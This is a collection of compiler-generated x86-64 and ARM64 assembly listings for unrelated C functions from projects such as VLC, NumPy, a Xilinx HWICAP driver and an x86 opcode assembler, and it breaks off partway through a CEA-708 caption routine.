.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function hwicap_get_configuration_register _hwicap_get_configuration_register: ; @hwicap_get_configuration_register .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 mov x21, x1 mov x20, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #24] Lloh3: adrp x8, _XHI_DUMMY_PACKET@GOTPAGE Lloh4: ldr x8, [x8, _XHI_DUMMY_PACKET@GOTPAGEOFF] Lloh5: adrp x22, _XHI_NOOP_PACKET@GOTPAGE Lloh6: ldr x22, [x22, _XHI_NOOP_PACKET@GOTPAGEOFF] Lloh7: ldr w8, [x8] ldr w9, [x22] stp w8, w9, [sp] Lloh8: adrp x8, _XHI_SYNC_PACKET@GOTPAGE Lloh9: ldr x8, [x8, _XHI_SYNC_PACKET@GOTPAGEOFF] Lloh10: ldr w8, [x8] stp w8, w9, [sp, #8] str w9, [sp, #16] ldr x8, [x0] ldr x8, [x8] mov x1, sp mov w2, #5 ; =0x5 blr x8 cbnz w0, LBB0_5 ; %bb.1: ldr x8, [x20] ldr x8, [x8, #8] mov x0, x20 blr x8 Lloh11: adrp x8, _XHI_SR_DALIGN_MASK@GOTPAGE Lloh12: ldr x8, [x8, _XHI_SR_DALIGN_MASK@GOTPAGEOFF] Lloh13: ldr w8, [x8] orr w9, w8, w0 cmp w9, w8 b.ne LBB0_4 ; %bb.2: mov x0, x21 bl _hwicap_type_1_read orr w8, w0, #0x1 ldr w9, [x22] stp w8, w9, [sp] str w9, [sp, #8] ldr x8, [x20] ldr x8, [x8] mov x1, sp mov x0, x20 mov w2, #3 ; =0x3 blr x8 cbnz w0, LBB0_5 ; %bb.3: ldr x8, [x20] ldr x8, [x8, #16] mov x0, x20 mov x1, x19 mov w2, #1 ; =0x1 blr x8 b LBB0_5 LBB0_4: Lloh14: adrp x8, _EIO@GOTPAGE Lloh15: ldr x8, [x8, _EIO@GOTPAGEOFF] Lloh16: ldr w8, [x8] neg w0, w8 LBB0_5: ldr x8, [sp, #24] Lloh17: adrp x9, ___stack_chk_guard@GOTPAGE Lloh18: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh19: ldr x9, [x9] cmp x9, x8 b.ne LBB0_7 ; %bb.6: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_7: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh7 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .cfi_endproc ; -- End function .comm _XHI_DUMMY_PACKET,4,2 ; @XHI_DUMMY_PACKET .comm _XHI_NOOP_PACKET,4,2 ; @XHI_NOOP_PACKET .comm _XHI_SYNC_PACKET,4,2 ; @XHI_SYNC_PACKET .comm _XHI_SR_DALIGN_MASK,4,2 ; @XHI_SR_DALIGN_MASK .comm _EIO,4,2 ; @EIO .no_dead_strip _hwicap_get_configuration_register .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _config_SortConfig ## -- Begin function config_SortConfig .p2align 4, 0x90 _config_SortConfig: ## @config_SortConfig .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq _vlc_plugins@GOTPCREL(%rip), %r14 movq (%r14), %rax xorl %edi, %edi testq %rax, %rax je LBB0_3 .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movslq (%rax), %rcx addq %rcx, %rdi movq 16(%rax), %rax testq %rax, %rax jne LBB0_1 LBB0_3: movl $8, %esi callq _vlc_alloc movq %rax, %rbx xorl %edi, %edi testq %rax, %rax setne %dil callq _unlikely testq %rax, %rax je LBB0_5 ## %bb.4: movq _VLC_ENOMEM@GOTPCREL(%rip), %rax jmp LBB0_14 LBB0_5: movq (%r14), %r15 xorl %r14d, %r14d jmp LBB0_6 .p2align 4, 0x90 LBB0_12: ## in Loop: Header=BB0_6 Depth=1 movq 16(%r15), %r15 LBB0_6: ## =>This Loop Header: Depth=1 ## Child Loop BB0_9 Depth 2 testq %r15, %r15 je LBB0_13 ## %bb.7: ## in Loop: Header=BB0_6 Depth=1 movslq (%r15), %rax testq %rax, %rax jg LBB0_12 ## %bb.8: ## in Loop: Header=BB0_6 Depth=1 movq 8(%r15), %r12 shlq $2, %rax movq %r12, %r13 subq %rax, %r13 jmp LBB0_9 .p2align 4, 0x90 LBB0_11: ## in Loop: Header=BB0_9 Depth=2 addq $4, %r12 cmpq %r13, %r12 ja LBB0_12 LBB0_9: ## Parent Loop BB0_6 Depth=1 ## => This Inner Loop Header: Depth=2 movl (%r12), %edi callq _CONFIG_ITEM testl %eax, %eax je LBB0_11 ## %bb.10: ## in Loop: Header=BB0_9 Depth=2 movq %r12, (%rbx,%r14,8) incq %r14 jmp LBB0_11 LBB0_13: movq _confcmp@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi movq %r14, %rsi movl $8, %edx callq _qsort movq _config@GOTPCREL(%rip), %rax movq %rbx, 8(%rax) movq %r14, (%rax) movq _VLC_SUCCESS@GOTPCREL(%rip), %rax LBB0_14: movl (%rax), %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _vlc_plugins,8,3 ## @vlc_plugins .comm _VLC_ENOMEM,4,2 ## @VLC_ENOMEM .comm _confcmp,4,2 ## @confcmp .comm _config,16,3 ## @config .comm _VLC_SUCCESS,4,2 ## @VLC_SUCCESS .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _config_SortConfig ; -- Begin function config_SortConfig .p2align 2 _config_SortConfig: ; @config_SortConfig .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 Lloh0: adrp x20, _vlc_plugins@GOTPAGE Lloh1: ldr x20, [x20, _vlc_plugins@GOTPAGEOFF] ldr x8, [x20] cbz x8, LBB0_3 ; %bb.1: mov x0, #0 ; =0x0 LBB0_2: ; =>This Inner Loop Header: Depth=1 ldrsw x9, [x8] add x0, x0, x9 ldr x8, [x8, #16] cbnz x8, LBB0_2 b LBB0_4 LBB0_3: mov x0, #0 ; =0x0 LBB0_4: mov w1, #8 ; =0x8 bl _vlc_alloc mov x19, x0 cmp x0, #0 cset w0, ne bl _unlikely cbz x0, LBB0_6 ; %bb.5: Lloh2: adrp x8, _VLC_ENOMEM@GOTPAGE Lloh3: ldr x8, [x8, _VLC_ENOMEM@GOTPAGEOFF] b LBB0_16 LBB0_6: ldr x21, [x20] cbz x21, LBB0_14 ; %bb.7: mov x20, #0 ; =0x0 b LBB0_9 LBB0_8: ; in Loop: Header=BB0_9 Depth=1 ldr x21, [x21, #16] cbz x21, LBB0_15 LBB0_9: ; =>This Loop Header: Depth=1 ; Child Loop BB0_12 Depth 2 ldrsw x8, [x21] cmp w8, #0 b.gt LBB0_8 ; %bb.10: ; in Loop: Header=BB0_9 Depth=1 ldr x22, [x21, #8] sub x23, x22, x8, lsl #2 b LBB0_12 LBB0_11: ; in Loop: Header=BB0_12 Depth=2 add x22, x22, #4 cmp x22, x23 b.hi LBB0_8 LBB0_12: ; Parent Loop BB0_9 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w0, [x22] bl _CONFIG_ITEM cbz w0, LBB0_11 ; %bb.13: ; in Loop: Header=BB0_12 Depth=2 str x22, [x19, x20, lsl #3] add x20, x20, #1 b LBB0_11 LBB0_14: mov x20, #0 ; =0x0 LBB0_15: Lloh4: adrp x8, _confcmp@GOTPAGE Lloh5: ldr x8, [x8, _confcmp@GOTPAGEOFF] Lloh6: ldr w3, [x8] mov x0, x19 mov x1, x20 mov w2, #8 ; =0x8 bl _qsort Lloh7: adrp x8, _config@GOTPAGE Lloh8: ldr x8, [x8, _config@GOTPAGEOFF] stp x20, x19, [x8] Lloh9: adrp x8, _VLC_SUCCESS@GOTPAGE Lloh10: ldr x8, [x8, _VLC_SUCCESS@GOTPAGEOFF] LBB0_16: ldr w0, [x8] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .cfi_endproc ; -- End function .comm _vlc_plugins,8,3 ; @vlc_plugins .comm _VLC_ENOMEM,4,2 ; @VLC_ENOMEM .comm _confcmp,4,2 ; @confcmp .comm _config,16,3 ; @config .comm _VLC_SUCCESS,4,2 ; @VLC_SUCCESS .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function einsum_sub_op_from_lists _einsum_sub_op_from_lists: ## @einsum_sub_op_from_lists .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, %rbx movl %edx, %r15d movq %rsi, %r14 movq %rdi, %r13 callq _PyTuple_Size ## kill: def $eax killed $eax def $rax leal 1(%rax), %ecx cmpl $2, %ecx ja LBB0_2 ## %bb.1: movq _PyExc_ValueError@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi jmp LBB0_9 LBB0_2: movl %eax, %ecx shrl $31, %ecx addl %eax, %ecx sarl %ecx movslq %ecx, %r12 movq _NPY_MAXARGS@GOTPCREL(%rip), %rax cmpq %r12, (%rax) jbe LBB0_8 ## %bb.3: movl %r15d, -44(%rbp) ## 4-byte Spill movq %r14, -56(%rbp) ## 8-byte Spill movl %ecx, -48(%rbp) ## 4-byte Spill xorl %eax, %eax .p2align 4, 0x90 LBB0_4: ## =>This Inner Loop Header: Depth=1 movq $0, (%rbx,%rax,8) decq %rax cmpq %r12, %rax jbe LBB0_4 ## %bb.5: movq %r13, -64(%rbp) ## 8-byte Spill movq %r13, %rdi xorl %esi, %esi callq _PyTuple_GET_ITEM movq _NPY_ARRAY_ENSUREARRAY@GOTPCREL(%rip), %rcx movl (%rcx), %esi movq %rax, %rdi callq _PyArray_FROM_OF movq %rax, (%rbx) testq %rax, %rax je LBB0_12 LBB0_6: cmpq $1, %r12 adcq $0, %r12 xorl %r14d, %r14d .p2align 4, 0x90 LBB0_7: ## =>This Inner Loop Header: Depth=1 movq (%rbx,%r14,8), %rdi callq _Py_XDECREF movq $0, (%rbx,%r14,8) incq %r14 cmpq %r14, %r12 jne LBB0_7 jmp LBB0_10 LBB0_8: movq _PyExc_ValueError@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.1(%rip), %rsi LBB0_9: callq _PyErr_SetString LBB0_10: movl $-1, %eax LBB0_11: addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_12: movq -64(%rbp), %rdi ## 8-byte Reload movl $1, %esi callq _PyTuple_GET_ITEM movq %rax, %rdi movq -56(%rbp), %rsi ## 8-byte Reload movl -44(%rbp), %edx ## 4-byte Reload callq _einsum_list_to_subscripts testl %eax, %eax js LBB0_6 ## %bb.13: movl %eax, %r13d cmpl $2, -48(%rbp) ## 4-byte Folded Reload jae LBB0_19 LBB0_14: movq -64(%rbp), %rdi ## 8-byte Reload callq _PyTuple_Size cltq leaq 1(,%r12,2), %rcx cmpq %rax, %rcx jne LBB0_18 ## %bb.15: leal 2(%r13), %r14d subl %r14d, -44(%rbp) ## 4-byte Folded Spill jle LBB0_24 ## %bb.16: leaq (%r12,%r12), %rsi movl %r13d, %eax movq -56(%rbp), %r15 ## 8-byte Reload movb $45, (%r15,%rax) movslq %r13d, %rax movb $62, 1(%r15,%rax) movq -64(%rbp), %rdi ## 8-byte Reload ## kill: def $esi killed $esi killed $rsi callq _PyTuple_GET_ITEM movl %r14d, %esi addq %r15, %rsi movq %rax, %rdi movl -44(%rbp), %edx ## 4-byte Reload callq _einsum_list_to_subscripts testl %eax, %eax js LBB0_6 ## %bb.17: movl %eax, %r13d addl %r14d, %r13d LBB0_18: movl -48(%rbp), %eax ## 4-byte Reload movl %r13d, %ecx movq -56(%rbp), %rdx ## 8-byte Reload movb $0, (%rdx,%rcx) jmp LBB0_11 LBB0_19: movl $1, %eax movq %rax, -72(%rbp) ## 8-byte Spill movl $2, %r15d .p2align 4, 0x90 LBB0_20: ## =>This Inner Loop Header: Depth=1 movq -64(%rbp), %rdi ## 8-byte Reload movl %r15d, %esi callq _PyTuple_GET_ITEM movl %r13d, %ecx incl %r13d movq -56(%rbp), %rdx ## 8-byte Reload movb $44, (%rdx,%rcx) movl -44(%rbp), %r14d ## 4-byte Reload subl %r13d, %r14d jle LBB0_24 ## %bb.21: ## in Loop: Header=BB0_20 Depth=1 movq _NPY_ARRAY_ENSUREARRAY@GOTPCREL(%rip), %rcx movl (%rcx), %esi movq %rax, %rdi callq _PyArray_FROM_OF movq -72(%rbp), %rcx ## 8-byte Reload movq %rax, (%rbx,%rcx,8) testq %rax, %rax jne LBB0_6 ## %bb.22: ## in Loop: Header=BB0_20 Depth=1 leal 1(%r15), %esi movq -64(%rbp), %rdi ## 8-byte Reload callq _PyTuple_GET_ITEM movl %r13d, %esi addq -56(%rbp), %rsi ## 8-byte Folded Reload movq %rax, %rdi movl %r14d, %edx callq _einsum_list_to_subscripts testl %eax, %eax js LBB0_6 ## %bb.23: ## in Loop: Header=BB0_20 Depth=1 addl %eax, %r13d movq -72(%rbp), %rcx ## 8-byte Reload incq %rcx addl $2, %r15d movq %rcx, -72(%rbp) ## 8-byte Spill cmpq %rcx, %r12 jne LBB0_20 jmp LBB0_14 LBB0_24: movq _PyExc_ValueError@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.2(%rip), %rsi callq _PyErr_SetString jmp LBB0_6 .cfi_endproc ## -- End function .comm _PyExc_ValueError,4,2 ## @PyExc_ValueError .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "must provide at least an operand and a subscripts list to einsum" .comm _NPY_MAXARGS,8,3 ## @NPY_MAXARGS L_.str.1: ## @.str.1 .asciz "too many operands" L_.str.2: ## @.str.2 .asciz "subscripts list is too long" .comm _NPY_ARRAY_ENSUREARRAY,4,2 ## @NPY_ARRAY_ENSUREARRAY .no_dead_strip _einsum_sub_op_from_lists .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function einsum_sub_op_from_lists _einsum_sub_op_from_lists: ; @einsum_sub_op_from_lists .cfi_startproc ; %bb.0: sub sp, sp, #112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x3 mov x22, x2 mov x20, x1 mov x21, x0 bl _PyTuple_Size add w8, w0, #1 cmp w8, #2 b.hi LBB0_2 ; %bb.1: Lloh0: adrp x8, _PyExc_ValueError@GOTPAGE Lloh1: ldr x8, [x8, _PyExc_ValueError@GOTPAGEOFF] Lloh2: ldr w0, [x8] Lloh3: adrp x1, l_.str@PAGE Lloh4: add x1, x1, l_.str@PAGEOFF b LBB0_9 LBB0_2: add w9, w0, w0, lsr #31 sbfx x25, x9, #1, #31 Lloh5: adrp x8, _NPY_MAXARGS@GOTPAGE Lloh6: ldr x8, [x8, _NPY_MAXARGS@GOTPAGEOFF] Lloh7: ldr x8, [x8] cmp x8, x25 b.ls LBB0_8 ; %bb.3: mov x8, #0 ; =0x0 asr w9, w9, #1 str w9, [sp, #12] ; 4-byte Folded Spill LBB0_4: ; =>This Inner Loop Header: Depth=1 str xzr, [x19, x8, lsl #3] sub x8, x8, #1 cmp x8, x25 b.ls LBB0_4 ; %bb.5: mov x0, x21 mov w1, #0 ; =0x0 bl _PyTuple_GET_ITEM Lloh8: adrp x8, _NPY_ARRAY_ENSUREARRAY@GOTPAGE Lloh9: ldr x8, [x8, _NPY_ARRAY_ENSUREARRAY@GOTPAGEOFF] Lloh10: ldr w1, [x8] bl _PyArray_FROM_OF str x0, [x19] cbz x0, LBB0_12 LBB0_6: cmp x25, #1 csinc x20, x25, xzr, hi LBB0_7: ; =>This Inner Loop Header: Depth=1 ldr x0, [x19] bl _Py_XDECREF str xzr, [x19], #8 subs x20, x20, #1 b.ne LBB0_7 b LBB0_10 LBB0_8: Lloh11: adrp x8, _PyExc_ValueError@GOTPAGE Lloh12: ldr x8, [x8, _PyExc_ValueError@GOTPAGEOFF] Lloh13: ldr w0, [x8] Lloh14: adrp x1, l_.str.1@PAGE Lloh15: add x1, x1, l_.str.1@PAGEOFF LBB0_9: bl _PyErr_SetString LBB0_10: mov w0, #-1 ; =0xffffffff LBB0_11: ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret LBB0_12: mov x0, x21 mov w1, #1 ; =0x1 bl _PyTuple_GET_ITEM mov x1, x20 mov x2, x22 bl _einsum_list_to_subscripts tbnz w0, #31, LBB0_6 ; %bb.13: mov x23, x0 ldr w8, [sp, #12] ; 4-byte Folded Reload cmp w8, #2 b.hs LBB0_19 LBB0_14: mov x0, x21 bl _PyTuple_Size mov w8, #1 ; =0x1 bfi x8, x25, #1, #63 cmp x8, w0, sxtw b.ne LBB0_18 ; %bb.15: add w24, w23, #2 subs w22, w22, w24 b.le LBB0_24 ; %bb.16: lsl x1, x25, #1 mov w8, #45 ; =0x2d strb w8, [x20, w23, uxtw] add x8, x20, w23, sxtw mov w9, #62 ; =0x3e strb w9, [x8, #1] mov x0, x21 ; kill: def $w1 killed $w1 killed $x1 bl _PyTuple_GET_ITEM add x1, x20, w24, uxtw mov x2, x22 bl _einsum_list_to_subscripts tbnz w0, #31, LBB0_6 ; %bb.17: add w23, w0, w24 LBB0_18: ldr w0, [sp, #12] ; 4-byte Folded Reload strb wzr, [x20, w23, uxtw] b LBB0_11 LBB0_19: add x28, x19, #8 sub x26, x25, #1 mov w24, #2 ; =0x2 LBB0_20: ; =>This Inner Loop Header: Depth=1 mov x0, x21 mov x1, x24 bl _PyTuple_GET_ITEM add w27, w23, #1 mov w8, #44 ; =0x2c strb w8, [x20, w23, uxtw] subs w23, w22, w27 b.le LBB0_24 ; %bb.21: ; in Loop: Header=BB0_20 Depth=1 Lloh16: adrp x8, _NPY_ARRAY_ENSUREARRAY@GOTPAGE Lloh17: ldr x8, [x8, _NPY_ARRAY_ENSUREARRAY@GOTPAGEOFF] Lloh18: ldr w1, [x8] bl _PyArray_FROM_OF str x0, [x28] cbnz x0, LBB0_6 ; %bb.22: ; in Loop: Header=BB0_20 Depth=1 add w1, w24, #1 mov x0, x21 bl _PyTuple_GET_ITEM add x1, x20, w27, uxtw mov x2, x23 bl _einsum_list_to_subscripts tbnz w0, #31, LBB0_6 ; %bb.23: ; in Loop: Header=BB0_20 Depth=1 add w23, w0, w27 add x28, x28, #8 add w24, w24, #2 subs x26, x26, #1 b.ne LBB0_20 b LBB0_14 LBB0_24: Lloh19: adrp x8, _PyExc_ValueError@GOTPAGE Lloh20: ldr x8, [x8, _PyExc_ValueError@GOTPAGEOFF] Lloh21: ldr w0, [x8] Lloh22: adrp x1, l_.str.2@PAGE Lloh23: add x1, x1, l_.str.2@PAGEOFF bl _PyErr_SetString b LBB0_6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .loh AdrpAdd Lloh14, Lloh15 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18 .loh AdrpAdd Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21 .cfi_endproc ; -- End function .comm _PyExc_ValueError,4,2 ; @PyExc_ValueError .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "must provide at least an operand and a subscripts list to einsum" .comm _NPY_MAXARGS,8,3 ; @NPY_MAXARGS l_.str.1: ; @.str.1 .asciz "too many operands" l_.str.2: ; @.str.2 .asciz "subscripts list is too long" .comm _NPY_ARRAY_ENSUREARRAY,4,2 ; @NPY_ARRAY_ENSUREARRAY .no_dead_strip _einsum_sub_op_from_lists .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function opfdivr _opfdivr: ## @opfdivr .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl (%rdx), %ecx movl $-1, %eax cmpl $2, %ecx je LBB0_8 ## %bb.1: cmpl $1, %ecx jne LBB0_13 ## %bb.2: movq 8(%rdx), %rcx movl (%rcx), %edx movq _OT_MEMORY@GOTPCREL(%rip), %rdi movl (%rdi), %edi orl %edx, %edi je LBB0_13 ## %bb.3: movq _OT_DWORD@GOTPCREL(%rip), %rdi testl %edx, (%rdi) je LBB0_6 ## %bb.4: movl $216, (%rsi) jmp LBB0_5 LBB0_8: movq 8(%rdx), %rcx movq _OT_FPUREG@GOTPCREL(%rip), %rdx movl (%rdx), %edx movq _OT_REGALL@GOTPCREL(%rip), %rdi movl (%rdi), %edi notl %edi movl (%rcx), %r8d andl %edi, %r8d testl %edx, %r8d je LBB0_9 LBB0_11: movl $216, (%rsi) movl $248, %eax orl 40(%rcx), %eax jmp LBB0_12 LBB0_9: cmpl $0, 16(%rcx) je LBB0_10 LBB0_13: popq %rbp retq LBB0_6: movq _OT_QWORD@GOTPCREL(%rip), %rdi testl %edx, (%rdi) je LBB0_13 ## %bb.7: movl $220, (%rsi) LBB0_5: movq 8(%rcx), %rax movl (%rax), %eax orl $56, %eax LBB0_12: movl %eax, 4(%rsi) movl $2, %eax popq %rbp retq LBB0_10: andl 24(%rcx), %edi testl %edx, %edi jne LBB0_11 jmp LBB0_13 .cfi_endproc ## -- End function .comm _OT_MEMORY,4,2 ## @OT_MEMORY .comm _OT_DWORD,4,2 ## @OT_DWORD .comm _OT_QWORD,4,2 ## @OT_QWORD .comm _OT_FPUREG,4,2 ## @OT_FPUREG .comm _OT_REGALL,4,2 ## @OT_REGALL .no_dead_strip _opfdivr .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function opfdivr _opfdivr: ; @opfdivr .cfi_startproc ; %bb.0: ldr w8, [x2] cmp w8, #2 b.eq LBB0_5 ; %bb.1: cmp w8, #1 b.ne LBB0_13 ; %bb.2: ldr x8, [x2, #8] ldr w9, [x8] Lloh0: adrp x10, _OT_MEMORY@GOTPAGE Lloh1: ldr x10, [x10, _OT_MEMORY@GOTPAGEOFF] Lloh2: ldr w10, [x10] orr w10, w10, w9 cbz w10, LBB0_13 ; %bb.3: Lloh3: adrp x10, _OT_DWORD@GOTPAGE Lloh4: ldr x10, [x10, _OT_DWORD@GOTPAGEOFF] Lloh5: ldr w10, [x10] tst w10, w9 b.eq LBB0_9 ; %bb.4: mov w9, #216 ; =0xd8 b LBB0_11 LBB0_5: ldr x8, [x2, #8] ldr w11, [x8] Lloh6: adrp x9, _OT_FPUREG@GOTPAGE Lloh7: ldr x9, [x9, _OT_FPUREG@GOTPAGEOFF] Lloh8: ldr w9, [x9] Lloh9: adrp x10, _OT_REGALL@GOTPAGE Lloh10: ldr x10, [x10, _OT_REGALL@GOTPAGEOFF] Lloh11: ldr w10, [x10] bic w11, w11, w10 tst w11, w9 b.eq LBB0_7 LBB0_6: mov w9, #216 ; =0xd8 str w9, [x1] ldr w8, [x8, #40] orr w8, w8, #0xf8 b LBB0_12 LBB0_7: ldr w11, [x8, #16] cbnz w11, LBB0_13 ; %bb.8: mvn w10, w10 ldr w11, [x8, #24] and w9, w11, w9 tst w9, w10 b.ne LBB0_6 b LBB0_13 LBB0_9: Lloh12: adrp x10, _OT_QWORD@GOTPAGE Lloh13: ldr x10, [x10, _OT_QWORD@GOTPAGEOFF] Lloh14: ldr w10, [x10] tst w10, w9 b.eq LBB0_13 ; %bb.10: mov w9, #220 ; =0xdc LBB0_11: str w9, [x1] ldr x8, [x8, #8] ldr w8, [x8] orr w8, w8, #0x38 LBB0_12: str w8, [x1, #4] mov w0, #2 ; =0x2 ret LBB0_13: mov w0, #-1 ; =0xffffffff ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .cfi_endproc ; -- End function .comm _OT_MEMORY,4,2 ; @OT_MEMORY .comm _OT_DWORD,4,2 ; @OT_DWORD .comm _OT_QWORD,4,2 ; @OT_QWORD .comm _OT_FPUREG,4,2 ; @OT_FPUREG .comm _OT_REGALL,4,2 ; @OT_REGALL .no_dead_strip _opfdivr .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function CEA708CharsToSegment _CEA708CharsToSegment: ## @CEA708CharsToSegment .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %r13d movq %rdx, %r15 movq %rsi, %r12 movq %rdi, -48(%rbp) ## 8-byte Spill xorl %ebx, %ebx xorl %edi, %edi callq _text_segment_New testq %rax, %rax je LBB0_9 ## %bb.1: movq %rax, %r14 movq _STYLE_NO_DEFAULTS@GOTPCREL(%rip), %rax movl (%rax), %edi callq _text_style_Create movq %rax, 8(%r14) testq %rax, %rax je LBB0_3 ## %bb.2: leaq (,%r12,4), %rdi movq -48(%rbp), %rcx ## 8-byte Reload addq 8(%rcx), %rdi movq %rax, %rsi callq _CEA708PenStyleToSegment LBB0_3: movl %r15d, %edi subl %r12d, %edi shll $2, %edi cmpl $1, %r13d sbbl $0, %edi addl $6, %edi callq _malloc movq %rax, (%r14) testq %rax, %rax je LBB0_10 ## %bb.4: cmpq %r12, %r15 jae LBB0_11 ## %bb.5: xorl %ecx, %ecx LBB0_6: testl %r13d, %r13d je LBB0_8 ## %bb.7: movq $10, (%rax,%rcx,8) incq %rcx LBB0_8: movq $0, 